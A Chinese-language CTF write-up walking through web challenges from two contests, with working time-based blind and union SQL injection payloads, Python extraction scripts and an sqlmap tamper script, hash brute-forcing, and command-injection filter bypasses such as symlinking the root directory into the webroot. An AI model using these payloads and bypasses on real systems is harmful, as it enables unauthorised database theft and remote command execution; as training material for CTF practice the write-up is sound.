湘岚杯

冷暴力

不管输入什么,页面均只回显”嗯”,经典的时间盲注

image-20250120144015342

构造payload为1 and sleep(2)尝试,能够sleep,说明为数字型且sleep未被过滤,构造payload如下

1 and if(1,sleep(2),0)#    #能够sleep,说明if、逗号未被过滤
1 and if(length(1)=1,sleep(2),0)# #不能sleep,说明length或=被过滤
1 and 1=1 and sleep(2)# #能够sleep,说明=未被过滤,尝试大写绕过length
1 and if(Length(1)=1,sleep(2),0)# #成功sleep(双写绕过也行)
1 and if(substr('1',1,1)='1',sleep(2),0)# #不能sleep,说明substr被过滤,大写或双写绕过尝试
1 and if(subsubstrstr('1',1,1)='1',sleep(2),0)# #成功sleep
1 and if(ascii(subsubstrstr('1',1,1))=49,sleep(2),0)# #不能sleep,尝试双写绕过ascii
1 and if(asasciicii(subsubstrstr('1',1,1))=49,sleep(2),0)# #成功sleep
测试完成,有length,substr,ascii被过滤,脚本测试中还有group,database被过滤,双写即可

注意:这个题有两个坑,其一就是最后的列名为flag,但是flag被过滤了,因此在最后查列名时要通过双写flag即flflagag来绕过;其二就是flag不在当前库中,脚本写最后一个查询语句时要通过lookthere.there来查询(我之前写的半自动脚本由于直接用表名拼接查询忘了限制库,导致最后没结果,后面的脚本都进行了改进,将第一个都变成了查全部库名,最后一个查询语句都加上了库名限制)

脚本

import requests
import time
import string

def brute_force(url):
find = ''
for i in range(1,100):
found_char = False
for j in range(32,128):
payload = f"if(ascasciiii(subsubstrstr((select grgroupoup_concat(schema_name) from information_schema.schemata),{i},1))={j},sleep(2),0)"
start_time = time.time()
response = requests.post(url, data={'id':payload+'#'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,库名为"+find)
break
return find


def brute_force1(url):
find = ''
for i in range(1,100):
found_char = False
for j in range(32,128):
payload = f"if(asasciicii(subsubstrstr((select grgroupoup_concat(table_name) from information_schema.tables where table_schema='{database}' ),{i},1))={j},sleep(2),0)"
start_time = time.time()
response = requests.post(url, data={'id':payload+'#'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,表名为"+find)
break


def brute_force2(url):
find = ''
for i in range(1,100):
found_char = False
for j in range(32,128):
payload = f"if(asasciicii(subsubstrstr((select grgroupoup_concat(column_name) from information_schema.columns where table_name='{table}' ),{i},1))={j},sleep(2),0)"
start_time = time.time()
response = requests.post(url, data={'id':payload+'#'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,列名为"+find)
break

def brute_force3(url):
find = ''
for i in range(1,100):
found_char = False
for j in range(32,128):
payload = f"if(asasciicii(subsubstrstr((select grgroupoup_concat({column}) from {database}.{table}),{i},1))={j},sleep(2),0)"
start_time = time.time()
response = requests.post(url, data={'id':payload+'#'})
elapsed_time = time.time() - start_time

if elapsed_time >=2 :
find += chr(j)
print(find)
found_char = True
break
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ == "__main__":
# 指定的URL
url = 'http://xlctf.huhstsec.top:27732'
brute_force(url)
database=input("请输入库名:")
brute_force1(url)
table=input("请输入表名:")
brute_force2(url)
column=input("请输入列名:")#注意输入flflagag
brute_force3(url)

image-20250120154723006

image-20250120154732372

image-20250120154744535

image-20250120154809650

sqlmap

在跑sqlmap时没想到最后的flag还要进行绕过,导致跑出来结果为空,还以为又把flag像web227一样丢进程里面了(跑半下午没结果),看了wp才明白,直接给payload

#另存为tamper中xl.py
def tamper(payload, **kwargs):
# 定义需要转换的单词及其对应的转换规则
transformations = {
'ascii': 'ascasciiii',
'substr': 'subsubstrstr',
'group': 'grgroupoup',
'database': 'datadatabasebase',
'flag': 'flflagag'
}

# 创建一个结果字符串
result = payload

# 遍历所有需要转换的单词并应用转换规则
for key, value in transformations.items():
result = result.replace(key, value)

return result
python sqlmap.py -u http://xlctf.huhstsec.top:27732 --data id=1 -batch --tamper "xl.py" -tech T -D lookthere -T there -dump

image-20250120154625469

关关难过关关过

第一关

image-20250120160145850

第一关首先为参数one的sha1值和参数two的md5值弱比较,令两个均为0e开头即可

one=aaroZmOk&two=QNKCDZO

下一个十一位数xxxx7894xxx的md5值为19cb79e80ab6d5400950c392d077cc1c,脚本爆破即可

import hashlib

def md5_hash(value):
return hashlib.md5(str(value).encode('utf-8')).hexdigest()

target_md5 = "19cb79e80ab6d5400950c392d077cc1c"
fixed_part = "7894"

# 遍历所有可能的组合
for i in range(10000): # 前四位
for j in range(1000): # 后三位
num_str = f"{i:04d}{fixed_part}{j:03d}"

hash_value = md5_hash(num_str)
if hash_value == target_md5:
print(f"Found match: {num_str}")
exit(0)

print("No match found.")

完整payload

14_12_45=65417894321&one=aaroZmOk&two=QNKCDZO

image-20250120160202327

第二关

由于if语句是分开的,直接传key=b84eb44c485303b69630663fc2f9c050af508dda即可,不过注意的是parse_str($_SERVER['QUERY_STRING']);这个函数是处理url中的变量,因此要用GET传参

image-20250120160600189

第三关

过滤了一堆字符,但是\未被过滤,直接POST传参input=ca\t /fllllag即可

image-20250120160737520


也可使用软链接

pwd查看当前位置

image-20250120161250424

创造软链接

input=ln -s / /var/www/html/aaa

然后访问aaa/fllllag即可下载一个含flag的文件(换环境了)

image-20250120161756611

大道轮回

源码如下

<?php
session_start();
/*
跳出轮回的真谛开头是:XNCTF
*/
show_source(__FILE__);
error_reporting(0);
if (isset($_GET['sha256']) && isset($_GET['cmd'])) {
$sha256 = $_GET['sha256'];
$cmd = $_GET['cmd'];


if (substr(sha256($sha256), 0, 6) === '647d99') {
echo "踏平坎坷成大道,斗罢艰险又出发";

if (!preg_match("/;|cat|flag|&nbsp;|[0-9]|$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|%|\x09|\x26/i", $cmd)) {
echo "打破顽空,跳出轮回的真谛在:";
system($cmd . " > /dev/null 2>&1");
} else {
echo "取了真经又如何,不过是只有功的泼猴";
}
} else {
echo "是假易灭,是假难除";
}
} else {
echo "你终究不是他";
}

// SHA-256 计算函数
function sha256($data) {
return hash('sha256', $data);
}
?>

首先要让sha256和cmd两个变量存在,并且sha256经过hash函数加密后前六位为647d99,cmd在不匹配字符的情况下进行命令执行。通过以下脚本来找到匹配的字符

import hashlib
import string
import random

# 目标哈希前缀
target_prefix = "647d99"

# 生成随机字符串的长度
string_length = 5

# 尝试次数限制
max_attempts = 1000000

def generate_random_string(length):
"""生成指定长度的随机字符串"""
letters_and_digits = string.ascii_letters + string.digits
return ''.join(random.choice(letters_and_digits) for i in range(length))

def find_matching_string(target_prefix, hash_func, max_attempts, string_length):
"""查找哈希值前缀匹配的字符串"""
for attempt in range(max_attempts):
# 生成随机字符串
test_string = generate_random_string(string_length)

# 计算哈希值
hash_object = hash_func(test_string.encode())
hex_dig = hash_object.hexdigest()

# 检查哈希值的前缀是否匹配
if hex_dig.startswith(target_prefix):
print(f"Found matching string after {attempt + 1} attempts: {test_string}")
print(f"Hash value: {hex_dig}")
return test_string

print("Failed to find a matching string within the given number of attempts.")
return None

# 使用 SHA-256 算法进行查找
if __name__ == "__main__":
result = find_matching_string(target_prefix, hashlib.sha256, max_attempts, string_length)

image-20250120162816166

后面的判断语句中的system($cmd . " > /dev/null 2>&1");会舍弃标准输出和标准错误都舍弃,但是可以用;来进行截断,比如传入cmd=ls;ls,即system(ls;ls . " > /dev/null 2>&1");前面的ls能正常执行

先通过ls /;ls找出根目录下所有目录

sha256=ByxAE&cmd=ls /;ls

image-20250122110322217

sha256=ByxAE&cmd=ca\t /Fl@@@g;ls

image-20250120170302857

emojiCTF2024

e4_sql

先判断闭合,username=1” or 1=1#时页面回显改变

image-20250121101654230

因此正常union注入(password=1)

username=1" order by 3#  回显"没学懂sql语句"
username=1" order by 2# 回显用户名或密码错误,即列数为2
username=1" union select 1,2# 回显"success!,your username is 1,your password is 2,but where is the flag?"
username=1" union select database(),(select group_concat(schema_name) from information_schema.schemata)# 库名为students,所有库为information_schema,students,test
username=1" union select (select group_concat(table_name) from information_schema.tables where table_schema='students'),2# 表名为information
username=1" union select (select group_concat(column_name) from information_schema.columns where table_name='information'),2# 列名为username,password
username=1" union select (select group_concat(password) from information),2#

image-20250121103124445

easy_web

image-20250121103648420

提示使用和知乎一样的反爬虫策略,搜索发现对UA限制,所以访问被拒绝,因此更改UA为BaiduspiderMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)表示从百度爬取

image-20250121103701285

搜索发现添加cf-connecting-ip:任意内容就能表明从CloudFlare CDN访问

image-20250121104738488

还要是通过洋葱访问,搜索发现如下

洋葱服务(Tor网络)

对于通过Tor网络访问的请求,Cloudflare可能会将CF-IPCountry设置为T1。这是因为Tor出口节点的IP地址可能来自不同的国家,并且难以准确确定原始客户端的真实地理位置。

因此添加CF-IPCountry:T1获得flag

image-20250121104237455

rce

进去一看什么也没有,ctrl+u查看源代码,发现把右键和F12都ban了(还好一遍过没踩坑)

image-20250121105804027

提示bot,即robots.txt,访问看到/fl@g.php

robots.txt是一个文本文件,它告诉搜索引擎的爬虫(如Googlebot)哪些页面或文件可以被抓取,哪些不可以。这个文件通常放在网站的根目录下。

image-20250121105938292

访问/fl@g.php出现rce,源码如下

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['emo'])){
$emo = $_GET['emo'];
if(!preg_match("/\;|\"|\*| |[b-h]|[m-r]|\\$|\{|\}|\^|\>/i",$emo)){
system($emo);
}
else{
echo "Again";
}
}
else{
echo "Try";
}
?>

未ban的字母有aijklstuvwxyz,使用tail绕过,注意空格也被ban了,用%09绕过,问号会自动填充字符

?emo=tail%09?la?.txt

image-20250121111316349

http

image-20250121111529795

提示更改UA并且使用自定义头部还要使用正确HTTP方法,先更改UA

image-20250121111814173

提示不正确的请求方式,尝试更换常见请求方式,尝试到PUT时正确,再添加请求头内EMOJI-CTF-Auth信息为Passw0rd!

image-20250121112004945

flag在fl1l1l1l1ag.php里,直接发包访问即可

image-20250121112109555